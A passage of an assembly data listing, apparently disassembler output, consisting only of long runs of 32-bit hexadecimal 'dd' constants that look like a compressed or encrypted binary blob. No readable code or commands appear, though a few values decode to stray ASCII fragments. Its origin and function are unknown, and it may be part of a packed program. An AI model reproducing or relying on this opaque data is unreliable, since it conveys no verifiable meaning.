		dd 7AB2F606h, 60080E5Eh, 1E9A21E8h, 99002B2Fh, 44DBF889h
		dd 4455B028h, 4D2A52D2h, 0ED19ACADh, 0AFA97A09h, 613051F4h
		dd 4963F0EAh, 7C1022D4h, 19C486B8h, 0ED40CC69h,	4ED0B625h
		dd 850FC00Eh, 0BF02180Ah, 522C00CEh, 38AABA45h,	8900162Dh
		dd 0E6EC1285h, 1D8D8B05h, 9CE42681h, 0E980066Ah, 0C20A0BEDh
		dd 16B5FF56h, 0E8511630h, 205DC303h, 8991C359h,	35FC2B4Ch
		dd 41211A8Ch, 0D8C35100h, 136A223Fh, 0FFEC067Fh, 50EBFE95h
		dd 0BA84F495h, 0D80043Ch, 0BE61499Dh, 50323990h, 2C26CD85h
		dd 398C5280h, 8911C35Ah, 87188854h, 0A0C35242h,	627C48DEh
		dd 879ECC4h, 29816C10h,	9D2D8185h, 0DA4C6618h, 3D95FAEAh
		dd 93D41845h, 71D4161h,	3160084Bh, 0C60D2995h, 1B806820h
		dd 0F1308B7Bh, 6AF8431Bh, 8E93003h, 193DA01Fh, 0B51C7606h
		dd 304888FCh, 0F08CE8Bh, 29C61286h, 0B0DE9h, 66CA3A3Eh
		dd 4EE076F5h, 84A11403h, 268B2C6h, 9D01C023h, 72852679h
		dd 55DE328Ah, 0E4C35D30h, 226C4689h, 55450015h,	0FC2AF7C3h
		dd 81379589h, 0A963550Ch, 5648B40Fh, 91C35EC3h,	1B187489h
		dd 564688h, 0E2CBC6C3h,	289DD2F4h, 0DDE889F4h, 83520761h
		dd 0AF43FFF8h, 0FB1DBCB2h, 0C4F6637Ah, 7DE90953h, 5F2C8503h
		dd 0E00BD83h, 67840F02h, 0E436DE04h, 22810C72h,	9FEC8D2Ah
		dd 0D75AF52Ah, 1C5A5752h, 898AC35Fh, 4770847Ch,	0AAC31C57h
		dd 0D38B4366h, 5010D0FFh, 0BF03EFF2h, 21F0E991h, 0E13C1A77h
		dd 8B1F0953h, 11981DC0h, 96EB8019h, 1A6C779h, 68D281F7h
		dd 2327124Dh, 0C37D001Dh, 0BD80585Ch, 84F350CBh, 0EC166EA1h
		dd 12097506h, 0C220D22h, 53501974h, 0D834B894h,	91084607h
		dd 0EB9D4115h, 0FFA540A8h, 58565BD3h, 87172022h, 0A5DA8820h
		dd 8C53FECCh, 89FAC3F6h, 8BB55C53h, 8FC88243h, 0C5094002h
		dd 235AD025h, 98C17B8h,	0FCE9707Ah, 365AE8F7h, 1FD10ACCh
		dd 3384CA31h, 4BC1964h,	0BA873F68h, 0B5C26007h,	570669B9h
		dd 41B881E9h, 6A615909h, 1591439Dh, 0F852080h, 44D4FEBFh
		dd 8C1BE80Dh, 4FF25200h, 1C7B9926h, 20C69088h, 4FA12811h
		dd 0B74E34CBh, 0ECFFE50h, 0A287FE90h, 8D631464h, 7806FE22h
		dd 27BD3601h, 0D01E626Ch, 70FBFF68h, 15D10499h,	0C486518h
		dd 2AE11132h, 7902E151h, 6BB341FCh, 0BD8BC383h,	2828151Dh
		dd 0F2824E9h, 0AE813A83h, 413490CBh, 32C5C4h, 81525650h
		dd 0E6E0EEF1h, 595F2664h, 90E1190h, 908A0F60h, 880CE8BAh
		dd 0F40007C4h, 0B84B8361h, 243A9CACh, 2007B210h, 410661C0h
		dd 2525BD89h, 64B0361Ch, 8B4302A4h, 0F9F7C7FAh,	243AB13h
		dd 301CB2A0h, 0CA4817B9h, 5FD0060Ch, 48C49A9Eh,	0F83270B7h
		dd 4388BDB2h, 1A888AEh,	0A98D3304h, 8591E8D7h, 50424FDh
		dd 21EEF09Fh, 15068B88h, 1FE59706h, 81BD24DFh, 0B618E05h
		dd 504135ECh, 32009CA6h, 0E9DD6A8Ch, 754285A7h,	41202C5Ch
		dd 0F9543DB6h, 0C88B0A5Ah, 0B99016Ah, 0CD141025h, 0F5605300h
		dd 81515F61h, 8C9A0FEAh, 0BE1434BAh, 0F6CA0A22h, 89411CFBh
		dd 0B1A6D98Dh, 35CEEEE4h, 0B9660410h, 648DAD92h, 45D7A242h
		dd 1845914Ah, 0BE0B10E9h, 228200CAh, 0E2A04CFh,	0DE17B9E7h
		dd 7755D82Bh, 0E4298E5Eh, 2B4A1125h, 615064FAh,	89C8C358h
		dd 0C06C9944h, 76C35040h, 222F4212h, 1957470h, 0EE9882Dh
		dd 0FC2C33C0h, 4BFD51h,	467A2562h, 0CFC9B029h, 587D26EFh
		dd 6CDF0979h, 1F682B4Bh, 80179118h, 0F590AA19h,	190960E8h
		dd 0EAD0883Ah, 0A3D10801h, 85316884h, 0BC4CCC22h, 29A19D09h
		dd 60629C14h, 0E19B91Ah, 8DE48BEEh, 0F376C810h,	51486171h
		dd 318110F3h, 0C0025A24h, 0AF23C9BAh, 2D85E64h,	0D5660456h
		dd 891F1303h, 8D20E14Dh, 1A891F09h, 211424B9h, 0F003CF4h
		dd 31BF3D27h, 0E59A157h, 0FFF6B8E9h, 16E8EB34h,	0D820098Ch
		dd 5B0EF9B7h, 0E42C1748h, 4330A108h, 9908F75Bh,	420D95BDh
		dd 0CB442A61h, 20199925h, 402BEF62h, 4083B88Bh,	9512091Ch
		dd 44442131h, 52A506D6h, 1A8D8A74h, 68EF10B5h, 19116517h
		dd 84DDA780h, 6E4DC1F2h, 129C88C9h, 96590E8h, 7701F4ADh
		dd 797F4638h, 0A1E31F6Eh, 61C46085h, 2B826E0Fh,	16FF1612h
		dd 23DD3AAEh, 0BB750616h, 0E9583C51h, 70938070h, 784DE8h
		dd 0CFA2ADF7h, 5026E484h, 40AA290Eh, 18E68574h,	241B005h
		dd 1A8844CFh, 71E007C7h, 504D0AA9h, 0AA09D292h,	0B7618BC7h
		dd 8D480FCAh, 37CECFA0h, 0B1AC2732h, 0AF18025h,	618D0245h
		dd 99426674h, 0C06892FBh, 0C8143D74h, 4674C08Dh, 0C7FD2614h
		dd 10C94A04h, 0D9E243A3h, 0BCD9903Fh, 5E99651h,	0CE5933BAh
		dd 0C11488BCh, 63870FB5h, 0C98D0886h, 1BEE242Dh, 0D8027F55h
		dd 0F9752FBAh, 1C46668h, 5C556B62h, 0F0D90D6Ah,	2604999Bh
		dd 50C075B3h, 18882C8Eh, 29B928C0h, 0B1341871h,	0F1E7E201h
		dd 0D88B4112h, 1423DD3Ah, 90E8940Bh, 128E4849h,	2577C0Bh
		dd 535FD6E2h, 292DAE83h, 8903EB1Ch, 50431DBAh, 10200676h
		dd 0CAE6F6F4h, 4ADEB85Bh, 0E96706AFh, 0EA791913h, 0D3119507h
		dd 0C721391Ah, 0A1E073B1h, 0AF706DFh, 6E81D6CBh, 89D18B24h
		dd 60544620h, 180AA16Ch, 995F19B4h, 7F08F200h, 1350615Bh
		dd 93CD9523h, 4240606Bh, 2DFD0B77h, 0FAC4009h, 0FD6B88h
		dd 75B5876Dh, 8A7EC0B2h, 509AAB05h, 9D00493Dh, 0BA665AD7h
		dd 3BB44B16h, 1B231Dh, 33E936Dh, 322A28C9h, 9F0041A7h
		dd 4B155321h, 15A83BAh,	6137C2E0h, 86D1365Ch, 7C32E2E4h
		dd 82DA19F1h, 0C16884BEh, 0E2437318h, 0BC70301Dh, 0B5D239h
		dd 47EFE794h, 3760F85Eh, 0C29880Fh, 6586860Eh, 0C2530261h
		dd 4560C9D6h, 6B822A29h, 71122C14h, 8F37A560h, 2C3D0500h
		dd 101AA20h, 0BF66023Ch, 66F9AF77h, 0B8B65DA0h,	0A72500E1h
		dd 0D3AD3B1h, 310B9EA9h
		dd 14041995h, 44F287C4h, 0B093601Dh, 0CAB407F3h, 0B5704D50h
		dd 84A10459h, 5F564502h, 2455FE82h, 0F529861h, 0D527804Bh
		dd 51E28CFh, 2E18408Bh,	1714234Ah, 0BD0E064Bh, 84736313h
		dd 179B988h, 0C74D3398h, 2C075985h, 0EAA6DB67h,	0A6B40B11h
		dd 0AD8D2317h, 8C3DC444h, 0E010E9B2h, 7E81801h,	0FE56B17h
		dd 0C46238A3h, 0E30B30F3h, 19004C50h, 0A5FDF307h, 0F15EBDh
		dd 172A9F8Dh, 2CED6945h, 1B50D0B8h, 46A8930h, 2602CD0Dh
		dd 0A4963D40h, 2B41A13Fh, 6814F9BDh, 4E2EB520h,	6D001C23h
		dd 80A3AD7Eh, 48EC77DEh, 0D20FC9A0h, 0D945BE53h, 50DA80C1h
		dd 5F71F951h, 0FB6831B4h, 91921692h, 32FAADD1h,	68F0DB36h
		dd 82C35250h, 4C0EA5DFh, 0EA4B5F72h, 7FB91840h,	1ADA432h
		dd 1351BA61h, 8E950ECh,	0B7B00077h, 722D798Ch, 41003401h
		dd 0D830148Fh, 5C335D27h, 0C6FC085Fh, 0C6E10B47h, 81830B0Bh
		dd 4B8965F1h, 517A9245h, 52CF582h, 3041B259h, 8160ED47h
		dd 0E6040FC9h, 61E935D6h, 0FD97B02h, 63E9F530h,	0D38B0DEBh
		dd 0EF7163BAh, 1A1819F1h, 0AF0C1524h, 0F50BD6ACh, 1916904h
		dd 25713302h, 0B71818F1h, 7A0A7E72h, 75D0E9F0h,	0A1248620h
		dd 19643602h, 46E96100h, 84E3FFF0h, 2D09B526h, 88060CC8h
		dd 0C3E3BD89h, 31AF3341h, 0C4044FC7h, 107E07DDh, 89B807DDh
		dd 14FF9B0h, 0AD900546h, 5B2B7C82h, 0E93E0481h,	0B1C0D15Fh
		dd 0F8CA2062h, 9A43F44Eh, 2E88E8E7h, 0A436F068h, 7A3A604Dh
		dd 0F00AB65h, 1F436DA1h, 0BFA773h, 0D3B03349h, 0E9B7D08Bh
		dd 9D31A6E9h, 80070311h, 4360B8E2h, 6A09E8F0h, 0AE30E7CAh
		dd 6CF30DF9h, 730B0363h, 0E6E69C0h, 66629202h, 64E9609Dh
		dd 98213DA4h, 5FFEB06h,	2D2ABA79h, 5F24D731h, 46745540h
		dd 81E0381Ah, 58D2708h,	71D189CFh, 3D40F754h, 0BB2C5EDEh
		dd 736C2BCEh, 9919Ah, 4CAB04FEh, 3A3F1D6Ah, 34B20791h
		dd 4949F9F4h, 0F0E56050h, 0BD4CF642h, 0D20CC917h, 4840071Eh
		dd 66800162h, 0F6DB098Ch, 990404C3h, 0CBC64EFCh, 564B2049h
		dd 31B85268h, 0E55E9CA8h, 13FA3228h, 0B5323994h, 109CE104h
		dd 817D6413h, 0F763CEC4h, 47802D10h, 18AC9B68h,	498EC47h
		dd 1EA4F08Bh, 61684F07h, 8B82F26h, 86720FB9h, 0C7D5F6Dh
		dd 56286A53h, 0C0298518h, 41807575h, 87649868h,	322AADDBh
		dd 0E167CD0h, 0E7A4684Ch, 0D020804Ah, 63459D8Bh, 96045BF8h
		dd 5468151Fh, 2A15AC70h, 0E1DB03C7h, 500C43D8h,	2D850702h
		dd 99BA0771h, 0C47020Dh, 8BA4B52Eh, 671411A2h, 9768451Fh
		dd 892A508h, 35732379h,	610C0267h, 4D327528h, 0A1B4B460h
		dd 0C464E6Ah, 0DCD2865Ch, 1A40E9DCh, 20B79052h,	594C2635h
		dd 85C64923h, 6A021F09h, 60E72D34h, 0B03ABF5Dh,	612CB019h
		dd 0FF644B45h, 15E17335h, 7D94D995h, 0D258928h,	469CC9Ch
		dd 0A2565C1h, 0E2036BCh, 9112158Dh, 4299501h, 21235CD2h
		dd 3CAD9D89h, 40BA0087h, 803E4DB8h, 0FB7C2FBDh,	0B855B23h
		dd 0CF03315Ah, 701C2E9h, 33F9B78Dh, 88C53DBh, 81572700h
		dd 79F801E2h, 335A173Bh, 4DB500C0h, 40556EE6h, 73F0F01h
		dd 58F640Bh, 4C46751h, 2CF0A666h, 0E5592EA7h, 8AB52A07h
		dd 757B795h, 21160B98h,	0C59529E4h, 0FB830117h,	45844B70h
		dd 0B8483D4Bh, 6E92027Ch, 8817F742h, 8209502h, 1A0D08C7h
		dd 0B206E90Ah, 0B06069A6h, 1E848D94h, 0CE8EC0A2h, 0F8C04C03h
		dd 0CAE13B14h, 0AC177B04h, 2547EE9h, 911407Ch, 2541DDECh
		dd 0C244CF0h, 0A481C70Ch, 3CFFF2Dh, 15B84C83h, 0C3DDA004h
		dd 0CD0C28Bh, 0D690E855h, 0ED24815Dh, 8B8A6956h, 75281B83h
		dd 542E1B20h, 0D05D0C89h, 19E89B4Fh, 450C018Ch,	0DCB5FCF0h
		dd 802D7C0Bh, 14BFCF81h, 0D7205040h, 0B822E125h, 0A6A04C22h
		dd 508122B5h, 0B7577F38h, 0B3B8E25Dh, 38D64CC9h, 549523D0h
		dd 9DB9BBF5h, 4B80220h,	484855D7h, 0F78100E8h, 0D465BB0Dh
		dd 0BE864885h, 3E34B61Ch, 5FE8EA8Ch, 0FBEEED0Ch, 4D586802h
		dd 600A7556h, 811C6DC4h, 0A2381501h, 0F5BD1209h, 8D2B4212h
		dd 90D2204Dh, 75FD33A1h, 0E10C730Fh, 5508043Dh,	52101A42h
		dd 200EB9A9h, 96A5F311h, 0C4E1B800h, 0C6F98BCEh, 0F13AE97Ch
		dd 310343DCh, 8F35382Eh, 0DC010Ah, 65637845h, 6F697470h
		dd 49206E1Ch, 728566DDh, 0C12616Dh, 656C4907h, 2C337397h
		dd 75087C20h, 68743E64h, 6C36CEF9h, 6977CF3Ch, 63CF67CFh
		dd 73ED644Fh, 0DCCFF728h, 64DB4061h, 2EF6C752h,	196D742Ah
		dd 16685420h, 0ED79D96Bh, 0D0AFC75h, 1E904DFh, 4670288Ch
		dd 4362C073h, 2B4C5254h, 0D166FFEBh, 0CD1E699Eh, 0B1A06497h
		dd 7970A18Fh, 696C0851h, 61FC62E5h, 29642872h, 56428036h
		dd 0A473FA65h, 0FE3DFE99h, 1E94F325h, 63058743h, 484E496Bh
		dd 4FE1640Fh, 501C5455h, 0D16F723Fh, 680F0B1Dh,	0E6C80F3Bh
		dd 3D74690Dh, 1E420F0Eh, 8E5054DEh, 0E91E1868h,	19B1B3A2h
		dd 82012D18h, 0A40A3340h, 50625F90h, 26A3740Eh,	0D5B02568h
		dd 0A41A951Fh, 8F924C22h, 0A29C1940h, 0CA59C407h, 2C248816h
		dd 0A40A084Bh, 0E430F541h, 0A021254Ah, 216B9AC4h, 0AC31CFACh
		dd 0A33F87B4h, 0EB051A4h, 0F94AEE29h, 0F6290EA4h, 0EA8F925h
		dd 3052FD21h, 8031B10Ch, 0EDB9A2E9h, 65320D88h,	900D5D95h
		dd 11858429h, 1A744853h, 0F8C28105h, 9CE981A0h,	958D8B54h
		dd 523021E4h, 0C3402834h, 893B3FD4h, 261FED96h,	40890C0Dh
		dd 9D8B1155h, 4CC31351h, 6553367Ch, 50211146h, 54F2A010h
		dd 210FAC11h, 0F2B01058h, 15A4115Ch, 0DF5DC29h,	6822AF5Ah
		dd 5A93CD82h, 90A80C21h, 64B0C8A4h, 19A032ACh, 0A09159Ch
		dd 0CE1C3196h, 0F8010748h, 68382E4h, 0D50627D5h, 406A24C4h
		dd 19B85224h, 0E3C1DDD2h, 956B3F4h, 0E560C18Bh,	6714E42Bh
		dd 23D1800Fh, 0B0182FA3h, 0A59897C4h, 20B9D08Ah, 3D0D0EF9h
		dd 420EAC2Ch, 10B2E504h, 503015F2h, 0BF59E1Eh, 0C464CBF4h
		dd 3B0F6500h, 17A36AD2h, 0B9B20004h, 5E58B5F3h,	4B0CF181h
		dd 0E43C2CE3h, 28D54B8Ah, 818833CAh, 0EE6A28C9h, 0EBB9AAh
		dd 0A154DD37h, 34002F44h, 785ED287h, 0E1286Eh, 8280D739h
		dd 235E9B0h, 8A9DEBBEh,	8B25BCA1h, 8C02D5C4h, 0C7F766DFh
		dd 187B4904h, 13BF2F94h, 9DF8B514h, 1534EF12h, 7FBC102Bh
		dd 7040E94Ah, 4DCE5FAh,	17F30261h, 508DAA94h, 550020F9h
		dd 0EFD6419Dh, 0BA2300BCh, 12582D1Fh, 1C25895Ah, 91C11724h
		dd 3F8E8016h, 0A1C4B1D8h, 0E912178Ah, 0D180227Ch, 0C699FB4Eh
		dd 0B4E100BDh, 115BB830h, 24742739h, 0B2684C25h, 76E6E205h
		dd 1D467E0Bh, 74AEC700h, 0E971642Fh, 892E2300h,	0BC8449B9h
		dd 0C48B2D06h, 9FADCB10h, 0CE30A00h, 0C180929Bh, 1CD146Ch
		dd 0B678DEEBh, 0DAEA4249h, 1B11939Dh, 0DAA05A80h, 0DC0486DEh
		dd 35B6CCFFh, 741E1BB1h, 79F2CCC0h, 0CE02099Bh,	915B3892h
		dd 0FE37C660h, 0F81907C7h, 20EA5CD5h, 4AC343F1h, 76334709h
		dd 118E0E50h, 0C0615912h, 0BC88B5Eh, 0BB1EC064h, 6099504Ah
		dd 8360CA64h, 7FDD7818h, 0A08D0F38h, 788B665Dh,	0FDBD13F2h
		dd 0B592416Fh, 75B85EE2h, 0E8207CC8h, 4B008C16h, 0BF0FAE3Bh
		dd 0D3E7FFC9h, 8756E2A0h, 1D00A178h, 163F38Dh, 836F1A51h
		dd 385759F9h, 181027A4h, 8B60F97h, 0C8FE0140h, 0A875B011h
		dd 9C5F0212h, 6BB21D9Eh
		dd 156778D6h, 27E5739h,	0A54B4EE1h, 40FEDC3Bh, 0DF8F920Fh
		dd 69409500h, 3522A0D2h, 0F8C6A261h, 3375804Bh,	3A860094h
		dd 0BAB94B42h, 6200CCF9h, 308A1550h, 1619D1BEh,	7B59F08Bh
		dd 2E6B4B0Eh, 797A0E21h, 181A7909h, 636F077Ah, 0EB4876ADh
		dd 60274370h, 0C93048E8h, 6AE90116h, 17482FA8h,	19BED493h
		dd 2A84712Ch, 926BCE00h, 918E0F5Fh, 80692915h, 70338984h
		dd 6325CE48h, 0B5CE261h, 38598Ch, 0C4325F54h, 153FA830h
		dd 0E4C2A5D2h, 806424ABh, 0F53054Bh, 7A0B1886h,	84588BC3h
		dd 0A5D30355h, 0D867B53Fh, 0BA5D2BC6h, 0CCB58E7h, 8FBA66C1h
		dd 3E04EC4Dh, 0D000B9EEh, 10F081A7h, 0AA417A86h, 83C35649h
		dd 0FC94113Ch, 0E8062672h, 0D78A679Ah, 68740510h, 0C0575885h
		dd 0B9505A9Fh, 0A5920B1Fh, 81658F58h, 0D0F001F3h, 83DFB70Fh
		dd 0D2C340EFh, 273BA810h, 50FF0937h, 0E1C1D7A3h, 0ABA10AEh
		dd 4D95009Eh, 7E651E0Eh, 4A506E5h, 0E7758CC1h, 6E1E1083h
		dd 0D92415Ah, 0E45B1080h, 30032093h, 0C4847B82h, 0E00CE061h
		dd 1A81039Ah, 0EDBC0466h, 3E88483Ch, 281E32F9h,	3FF0046Dh
		dd 38615046h, 97FE0CBDh, 0B6008D21h, 0FF60E1D3h, 95063103h
		dd 8C6EEF18h, 41678D39h, 602378FFh, 0D03D1875h,	38C3D27Fh
		dd 0EF6371h, 0A6450951h, 0B1BD24EAh, 8067853Bh,	0AD8A832Eh
		dd 0C0CE65Ah, 1F6171A5h, 362A5691h, 6EF098C5h, 8088833Fh
		dd 66E30301h, 306ADDEFh, 81E013FBh, 3D745EBEh, 0A622E106h
		dd 74192A97h, 5A111EB5h, 1BF007EDh, 2E6010E2h, 297C07EAh
		dd 0E63F5EF2h, 0EE5580BEh, 30AC122h, 0FABD35F7h, 18190009h
		dd 7D41CE69h, 6AC6EF1Fh, 0CC4CEC95h, 145EB8A3h,	0E0C17A9Ah
		dd 558CBD88h, 32CD4835h, 0BEF09DE5h, 0BD453E04h, 0EEAC4067h
		dd 811908FBh, 1E637B00h, 83EAA56Fh, 0F948C093h,	4ECFBA2h
		dd 81E020D0h, 7641426Eh, 0BEE39ED1h, 0E6EC3A18h, 1E211633h
		dd 0C70C66C1h, 0E0C17105h, 881EE777h, 2648E419h, 5A618541h
		dd 71EA60D7h, 6DBFE05h,	80D4F8C8h, 44D2A75Eh, 6406B693h
		dd 76EFE4CFh, 0F4C900C1h, 4CA6042Dh, 0AE1CD726h, 40B2EED4h
		dd 0CAF20E4h, 602A71ACh, 0D3290E3h, 2ADB10B7h, 6E2C0010h
		dd 9FF532D2h, 0BE560E04h, 0AC4E070Ch, 984414Eh,	217488E0h
		dd 0B6BCBF54h, 4D335700h, 97BE3525h, 4979CFF5h,	36AFBD00h
		dd 0C20CA687h, 0B05240BFh, 37B609D5h, 2C04CFEEh, 0C56E400Dh
		dd 0E8BE273Bh, 144EC05h, 55085FB1h, 516F8C07h, 0F8D7D2C0h
		dd 3400BD4Fh, 3775CFCDh, 0DE7FE109h, 8D1CE421h,	175902FBh
		dd 113A8688h, 3C58401h,	61AE3DF2h, 0A62F0C20h, 0C4DC49D4h
		dd 60582841h, 0D8E03389h, 9890F321h, 8BF49953h,	0F70C40F7h
		dd 4654EFDDh, 0FB12E8D0h, 200F2FC8h, 835D6E6Eh,	0F923F5F2h
		dd 48FC836Ch, 14035602h, 60F75905h, 90301CA4h, 63079FC5h
		dd 0EFC39A62h, 376900E2h, 0EE6631F5h, 8D00ED0Ch, 0B45D721Fh
		dd 304C3BAFh, 652962EFh, 0F4E1D578h, 3D04A3B6h,	0F7677192h
		dd 983F0488h, 0E1288568h, 0ECD7855h, 2D345080h,	2CA0DDD6h
		dd 15EA722Fh, 59AAC0A8h, 82EA530Ch, 2E61616Fh, 26ED1E6h
		dd 6DC524A6h, 0CE11C46h, 0BB27023Eh, 0E576A75Ch, 0DC509882h
		dd 8357B310h, 88281821h, 104E78FBh, 57C83C4h, 308A6DEDh
		dd 119E9718h, 6A005485h, 9B22A97Fh, 5C46624h, 9360F541h
		dd 502C1B4Ch, 0F0DC587Ch, 905E7E92h, 0EE40EF1Fh, 0E88F1934h
		dd 0FD81C1A1h, 44FE758h, 23EA0492h, 81A06C85h, 7561C770h
		dd 0BA8C6720h, 0FE18C824h, 0BF990974h, 0A880162Bh, 0B3370497h
		dd 0EC5CE102h, 0C13F3EFBh, 0BAE86E78h, 303C9047h, 0ECB2B0A4h
		dd 44B0E70Ch, 28044482h, 0BEBCC31Fh, 0F3A63103h, 468D370h
		dd 93F08F80h, 0F76CC3FAh, 927497E1h, 4E0CF918h,	0FCB818F4h
		dd 55D1C04Fh, 0B7ADA60Dh, 50819905h, 94214DE3h,	30BEDCEAh
		dd 8D8F351Eh, 4210F5BFh, 182CD3B4h, 97C14057h, 2C8CB452h
		dd 53E3C8Dh, 6E421305h,	0A05665C3h, 60BCE4D0h, 8D83291Dh
		dd 0EA05782Bh, 1CFDACB1h, 83F3B048h, 71697CDEh,	0F8A313D2h
		dd 483E8F85h, 0AFF50044h, 0CEBF4E12h, 2EC0BFEh,	911AC1h
		dd 4FCDD0E6h, 2A444C90h, 3FC8B10Ch, 0B835B16h, 540E8E64h
		dd 0EF6060CCh, 0A2C1C59h, 0BCDEB50Dh, 44489700h, 348D8198h
		dd 80F859E7h, 0F9183C69h, 0D8260D19h, 13087C29h, 84EA5B44h
		dd 0E5DA6D22h, 6882D210h, 0DE75F400h, 7107463Ah, 0D0930995h
		dd 860F6D85h, 0C40C480h, 6400BEC8h, 0CC47FE7Ah,	3FED94D0h
		dd 0B900ACBCh, 27FF7961h, 4600C77Dh, 0BAB19244h, 0B7EFABh
		dd 0AA7A80CAh, 0E1986A6Bh, 0A9D34903h, 3838A0Bh, 1442EE18h
		dd 111820E0h, 0E32904C1h, 1D02E0DFh, 0C33B3E2Ah, 0DA6CB161h
		dd 0F36381B0h, 31969800h, 0D44D6957h, 0AA8D00F8h, 366A4656h
		dd 61DE2B7h, 0D2804302h, 18F94D5Bh, 7407FE4h, 8E3FB368h
		dd 34F19022h, 4205DC4Ah, 0E1722933h, 0DEC2FC00h, 1F7B7886h
		dd 40D6D4B0h, 0C4056107h, 7D0FB9DDh, 0B4D2B67Ch, 0E84600E3h
		dd 4291966Ch, 0FBC03DD6h, 473C8280h, 0F3696DEFh, 2E00D7E2h
		dd 0CC2A8926h, 96155h, 0E2E34F25h, 0AC645D39h, 89189C7Ch
		dd 0C6F003F5h, 0C8E861F7h, 2031C834h, 680A528Dh, 0A8D5B4D0h
		dd 4BFB5780h, 8E640Ch, 0DFE021AFh, 0E4327925h, 8700787Fh
		dd 8C1C3729h, 12CB6AACh, 7D13F5h, 0F073892Ch, 0EE054DA5h
		dd 0A4656446h, 19B80Bh,	0BE12FFB6h, 0F98000ACh,	83F4BAA6h
		dd 0E000E51Fh, 0E7983161h, 6E3EC4h, 7288E816h, 46B4BF36h
		dd 9D06CAF0h, 68716FC9h, 40E81CC9h, 0E4D755EEh,	11BF7516h
		dd 0C70F054h, 0F59436CCh, 55008911h, 0EC3DE413h, 39B0FCh
		dd 0F7A87C46h, 2462D442h, 9D00A776h, 5B32EAA4h,	8E9E5Fh
		dd 773CBDF6h, 2345D93Ah, 227E0100h, 87A38938h, 60C2009Eh
		dd 0A0301C31h, 3900D87Ch, 0BBAA7BA1h, 3EBEF1Fh,	0E0BA4A37h
		dd 3C8B049h, 507782D4h,	0CD78F1FCh, 64B831E8h, 32F4FD00h
		dd 0DC531AAFh, 0F04A26h, 0D4409018h, 1E54F9CEh,	6F1DEDFCh
		dd 0D740926Bh, 801CFAC3h, 0A480E3Ah, 0FCA05E44h, 565428FFh
		dd 0E084A902h, 87594582h, 0DE4E9DBDh, 52095F80h, 8B5B26h
		dd 9637A571h, 349507EFh, 6C72DBA0h, 9B97B214h, 4F520A9Ch
		dd 0AD07B013h, 55E67086h, 0A3F73E11h, 7BFE2285h, 2CE000F3h
		dd 2341FB1Ah, 976C5F00h, 0BDE9E0B1h, 841F0067h,	8C939B0Dh
		dd 0E7006458h, 14F93487h, 4C9A8123h, 0CA008004h, 6DEC50AAh
		dd 1FB022C6h, 8BFD1902h, 0D555ADC8h, 382C1B00h,	0D603E034h
		dd 7F06627Ch, 5BCC824h,	68E294h, 76179D1h, 5E3F551Fh, 0E18464Ch
		dd 0B987B3D2h, 6C200D40h, 0C37A241Ch, 0C163823Ch, 2C48029Bh
		dd 0C400D286h, 0DA4B45F4h, 0F71F0B1h, 576DCC24h, 808C8A2Ah
		dd 0FABCF428h, 47005BF7h, 2C0AAA25h, 4A9B4B12h,	23640015h
		dd 0D6E27ADAh, 0B2379C12h, 728D5443h, 0C5500026h, 0CFD34E71h
		dd 87001AADh, 64B56C9Bh, 0DBCD04h, 0F2434192h, 6D14946Ah
		dd 0A2C3C06h, 0F469274Fh, 0B3D800E5h, 0C936EA1Eh, 4E59119Dh
		dd 0BD251D24h, 0B02C08C1h, 3420E6D6h, 6CB600FAh, 1AAE525Bh
		dd 0BB1059D0h, 7364C4h,	0CDB20894h, 1BE0F66Ah, 5FA33900h
		dd 0B70B8B66h, 0F46001CEh, 88C614EEh, 23A0E0A2h, 1A187C09h
		dd 761D80DDh, 2CCFA589h, 98F41A3h, 34005A70h, 125F6FF2h
		dd 1736D013h
		dd 0A731B400h, 511AB97h, 0A26082D6h, 3BC440BBh,	0F4BE541Bh
		dd 3478E1E1h, 73003A10h, 0C6D61713h, 0DB75AEh, 0CD0A6801h
		dd 796684E0h, 88DFB52Ch, 0F3173D07h, 3F42F440h,	0B4E10FE4h
		dd 6C404AB8h, 0C49C6234h, 25DCE609h, 0D9DC0118h, 7BDC84FDh
		dd 7F11001Dh, 1F9ED7BEh, 0C200E50Dh, 56265D49h,	0CF19958Ch
		dd 0B3A02930h, 7BEEABC9h, 851FF490h, 0BE8036AFh, 520C611Eh
		dd 0B046019Eh, 6E74E84Bh, 0E922F499h, 811DF800h, 0C6EBE208h
		dd 240C0025h, 0ACD35BF5h, 0CD006F7Bh, 7DFC6501h, 7E2A8Ch
		dd 11A39A5Eh, 9E344D13h, 0F8D4E0A1h, 890007AAh,	0CE085E95h
		dd 727755D7h, 3FCB0097h, 7A87D110h, 8C000426h, 0A17D203Ah
		dd 0B090A070h, 985F0008h, 6B5C4B48h, 0BA4A0ECCh, 161A3000h
		dd 0B3307Eh, 616E8CE8h,	1CDDD9BFh, 35711500h, 6C8AEEB4h
		dd 0E441E62h, 592E0020h, 0A3981EFAh, 0F4CA5200h, 21B5270Fh
		dd 6F0B0B3Bh, 480023F6h, 0B2D9ED74h, 82663300h,	956D0554h
		dd 971C00A6h, 7464F93Ah, 3EFAB32Ch, 0DD55E400h,	0E0FA5659h
		dd 0ED3D0044h, 7178B9FDh, 9C3BD5ABh, 0AA38002Dh, 0BD2412D7h
		dd 395A006Fh, 0C0DE56E5h, 4001697h, 239F3760h, 82517Ah
		dd 71305BC8h, 846A0F6h,	49A9C900h, 7F6D2FD7h, 3F03EE66h
		dd 0F000EA2Ah, 13CBC1E1h, 289C564Bh, 0A8548A84h, 0FC2CF890h
		dd 0A08215EEh, 0B9749C6Eh, 0F2F58040h, 0C4EB435Fh, 2A02BE98h
		dd 5A857BDEh, 2E45074h,	0A1515B18h, 468A23Bh, 0A4007226h
		dd 6195A373h, 3A210993h, 8B801A4Bh, 6C31B8E9h, 0DE00DF08h
		dd 7D7CB5C9h, 58E0D1B7h, 400B619h, 0AF98FCA5h, 38005C4Eh
		dd 593DEECFh, 40B3CD68h, 24A2352h, 7A8B2C40h, 13413262h
		dd 0C06D8D22h, 5A618FE8h, 0C6783F0h, 64835911h,	0B9E6EAh
		dd 6EC14AECh, 569A2343h, 601358C0h, 6B0E603h, 0B120958Fh
		dd 0C242398Dh, 4029351Eh, 0BFDD4DDCh, 0E1EE1937h, 39EA5900h
		dd 761287EDh, 0C62E003Fh, 413A6E24h, 0E3176C2Bh, 9442BBE4h
		dd 80C3647Eh, 0C152E228h, 7AEE3A5Ah, 9EEC5605h,	0A57048E0h
		dd 0C403Ch, 1A835842h, 18E63BF4h, 0C6080A01h, 7B823919h
		dd 16EEC3E4h, 8F260EAFh, 0FCCAD3F4h, 0CE04010h,	1803D797h
		dd 2736258Dh, 429A9002h, 22A7AA22h, 8D013A10h, 29BA218Eh
